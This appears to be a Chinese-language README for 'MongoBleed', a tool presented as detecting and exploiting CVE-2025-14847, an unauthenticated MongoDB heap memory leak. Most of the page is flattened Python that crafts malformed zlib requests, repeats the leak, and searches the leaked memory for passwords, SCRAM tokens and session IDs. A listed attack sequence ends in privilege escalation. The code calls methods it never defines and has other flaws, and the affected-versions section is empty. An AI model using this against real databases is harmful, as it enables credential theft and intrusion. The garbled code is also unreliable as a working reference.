MongoBleed — CVE-2025-14847 非认证MongoDB内存泄露漏洞检测工具

🩸 MongoBleed — CVE-2025-14847 非认证MongoDB内存泄露漏洞

一个严重的MongoDB漏洞，允许远程攻击者在无需认证的情况下提取堆内存内容。

🚨 核心概览

📋 功能特性

• 漏洞检测：自动识别MongoDB服务器是否受CVE-2025-14847漏洞影响
• 内存提取：利用zlib压缩流量处理不当的问题，提取堆内存内容
• 多种数据泄露：可能获取凭证、会话令牌、内部服务器对象和最近处理的查询
• 重复利用：通过多次漏洞利用增加敏感数据暴露概率
• 网络级攻击：针对网络可达的MongoDB实例进行远程攻击

🛠 安装指南

系统要求

• Python 3.x
• 网络访问权限
• 目标MongoDB实例网络可达

依赖安装

项目需要以下Python库：

# 具体依赖请查看requirements.txt# 典型依赖包括：pipinstallpymongo pipinstallzlib pipinstallcryptography

安装步骤

1. 克隆项目仓库
2. 安装Python依赖
3. 配置目标MongoDB地址
4. 运行检测脚本

📖 使用说明

基础使用

# 基本漏洞检测示例frommongobleedimportMongoBleedDetector# 创建检测器实例detector=MongoBleedDetector(target_host="192.168.1.100",target_port=27017)# 检测漏洞is_vulnerable=detector.check_vulnerability()ifis_vulnerable:print("目标服务器存在MongoBleed漏洞")# 执行内存泄露攻击leaked_data=detector.exploit_memory_leak()print(f"泄露数据:{leaked_data}")else:print("目标服务器不受影响")

典型攻击场景

1. 侦察阶段：识别网络中的MongoDB实例
2. 漏洞验证：使用MongoBleed检测目标漏洞状态
3. 内存提取：发送特制压缩请求触发内存泄露
4. 数据收集：分析泄露的堆内存获取敏感信息
5. 权限提升：利用获取的凭证进一步渗透

API概览

• MongoBleedDetector(target_host, target_port)：初始化漏洞检测器
• check_vulnerability()：验证目标是否存在漏洞
• exploit_memory_leak()：执行内存泄露攻击
• analyze_leaked_data()：分析泄露的内存数据
• generate_report()：生成安全评估报告

🧑‍💻 核心代码

# 漏洞检测核心模块classMongoBleedDetector:""" CVE-2025-14847漏洞检测与利用类 通过zlib压缩流量处理不当问题提取MongoDB内存 """def__init__(self,target_host,target_port=27017):""" 初始化检测器 Args: target_host (str): 目标MongoDB主机地址 target_port (int): 目标MongoDB端口，默认27017 """self.target_host=target_host self.target_port=target_port self.connection=Noneself.vulnerable=Falsedefcheck_vulnerability(self):""" 检测目标MongoDB是否存在CVE-2025-14847漏洞 Returns: bool: True表示存在漏洞，False表示安全 """try:# 创建特制的zlib压缩请求crafted_request=self._create_crafted_zlib_request()# 发送请求到目标MongoDBresponse=self._send_compressed_request(crafted_request)# 分析响应中的内存泄露迹象self.vulnerable=self._analyze_memory_leak(response)returnself.vulnerableexceptExceptionase:print(f"漏洞检测失败:{e}")returnFalsedefexploit_memory_leak(self,iterations=10):""" 执行内存泄露攻击 Args: iterations (int): 攻击迭代次数，增加数据获取概率 Returns: bytes: 泄露的内存数据 """ifnotself.vulnerable:print("目标服务器不存在漏洞")returnb""leaked_data=b""foriinrange(iterations):# 发送特制压缩请求触发内存计算错误request=self._create_memory_leak_payload()response=self._send_exploit_request(request)# 从响应中提取泄露的内存memory_chunk=self._extract_leaked_memory(response)leaked_data+=memory_chunkprint(f"第{i+1}次迭代，获取{len(memory_chunk)}字节数据")returnleaked_datadef_create_crafted_zlib_request(self):""" 创建特制的zlib压缩请求 利用MongoDB在处理压缩数据时的长度计算错误 Returns: bytes: 特制请求数据 """# 构建异常的压缩数据包# 包含故意错误计算的压缩长度malicious_compressed_data=b""# 添加zlib头部malicious_compressed_data+=b'\x78\x9c'# zlib默认压缩头部# 创建长度字段，触发内存泄露# 使用过大的长度值导致未初始化内存被包含在响应中fake_length=0xFFFF# 最大长度值malicious_compressed_data+=fake_length.to_bytes(2,'big')# 添加少量有效压缩数据# 实际数据远小于声明的长度actual_data=b"test"*10# 40字节实际数据compressed_actual=zlib.compress(actual_data)[2:]# 移除zlib头部malicious_compressed_data+=compressed_actual# 添加填充以匹配声明的长度# 这部分将被未初始化内存填充padding_needed=fake_length-len(compressed_actual)malicious_compressed_data+=b'\x00'*padding_neededreturnmalicious_compressed_data

# 内存泄露利用模块classMemoryExploiter:""" 内存泄露利用核心类 负责提取和分析泄露的堆内存数据 """def__init__(self,detector):""" 初始化利用器 Args: detector (MongoBleedDetector): 已确认漏洞的检测器实例 """self.detector=detector self.leaked_data_cache=[]defextract_credentials(self,leaked_data):""" 从泄露内存中提取可能的凭证信息 Args: leaked_data (bytes): 泄露的内存数据 Returns: dict: 提取的凭证信息 """credentials={'usernames':[],'passwords':[],'tokens':[],'session_ids':[]}# 将二进制数据转换为可搜索的字符串data_str=leaked_data.decode('utf-8',errors='ignore')# 搜索常见的凭证模式# 用户名模式username_patterns=[r'user[name]?:[\s]*([^\s\n]+)',r'username[\s]*=[\s]*([^\s\n]+)']# 密码模式password_patterns=[r'pass[word]?:[\s]*([^\s\n]+)',r'password[\s]*=[\s]*([^\s\n]+)']# 搜索所有模式importreforpatterninusername_patterns:matches=re.findall(pattern,data_str,re.IGNORECASE)credentials['usernames'].extend(matches)forpatterninpassword_patterns:matches=re.findall(pattern,data_str,re.IGNORECASE)credentials['passwords'].extend(matches)# 搜索MongoDB特定的认证数据scram_patterns=[r'scram-sha-1[\s\S]{10,50}',r'scram-sha-256[\s\S]{10,50}']forpatterninscram_patterns:scram_matches=re.findall(pattern,data_str,re.IGNORECASE)credentials['tokens'].extend(scram_matches)returncredentialsdefanalyze_memory_patterns(self,leaked_data):""" 分析泄露内存中的模式，识别敏感数据结构 Args: leaked_data (bytes): 泄露的内存数据 Returns: dict: 分析结果，包含识别的数据结构和风险评估 """analysis_results={'sensitive_strings':[],'query_patterns':[],'object_ids':[],'json_structures':[],'risk_level':'low'}# 转换数据为十六进制和文本格式进行分析hex_data=leaked_data.hex()text_data=leaked_data.decode('utf-8',errors='ignore')# 查找敏感字符串模式sensitive_keywords=['password','secret','key','token','auth','admin','root','credential','private','confidential']found_sensitive=[]forkeywordinsensitive_keywords:ifkeyword.lower()intext_data.lower():# 获取上下文信息context_start=max(0,text_data.lower().find(keyword.lower())-20)context_end=min(len(text_data),context_start+100)context=text_data[context_start:context_end]found_sensitive.append({'keyword':keyword,'context':context})analysis_results['sensitive_strings']=found_sensitive# 查找MongoDB查询模式query_patterns=[r'db\.\w+\.(find|insert|update|delete)',r'\{[\s\S]{1,100}:[^{}]*\}',# 简化的JSON对象模式]importreforpatterninquery_patterns:matches=re.findall(pattern,text_data)analysis_results['query_patterns'].extend(matches)# 查找MongoDB ObjectId模式objectid_pattern=r'[0-9a-f]{24}'objectid_matches=re.findall(objectid_pattern,text_data)analysis_results['object_ids']=objectid_matches# 风险评估risk_factors=0iflen(found_sensitive)>0:risk_factors+=1iflen(analysis_results['query_patterns'])>0:risk_factors+=1iflen(objectid_matches)>5:# 多个ObjectId可能表示活跃查询risk_factors+=1ifrisk_factors>=2:analysis_results['risk_level']='high'elifrisk_factors==1:analysis_results['risk_level']='medium'returnanalysis_results

🎯 受影响版本

❌ 易受攻击的MongoDB版本

⚠️ 安全警告

此工具仅用于合法的安全测试和教育目的。未经授权对他人系统进行测试可能违反法律。使用前请确保：

1. 获得目标系统的明确授权
2. 在隔离的测试环境中使用
3. 遵守所有适用的法律法规
4. 仅用于提高系统安全性
   6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7DIj8Wiyw/ceZEQlfUbb0g
   更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
   对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）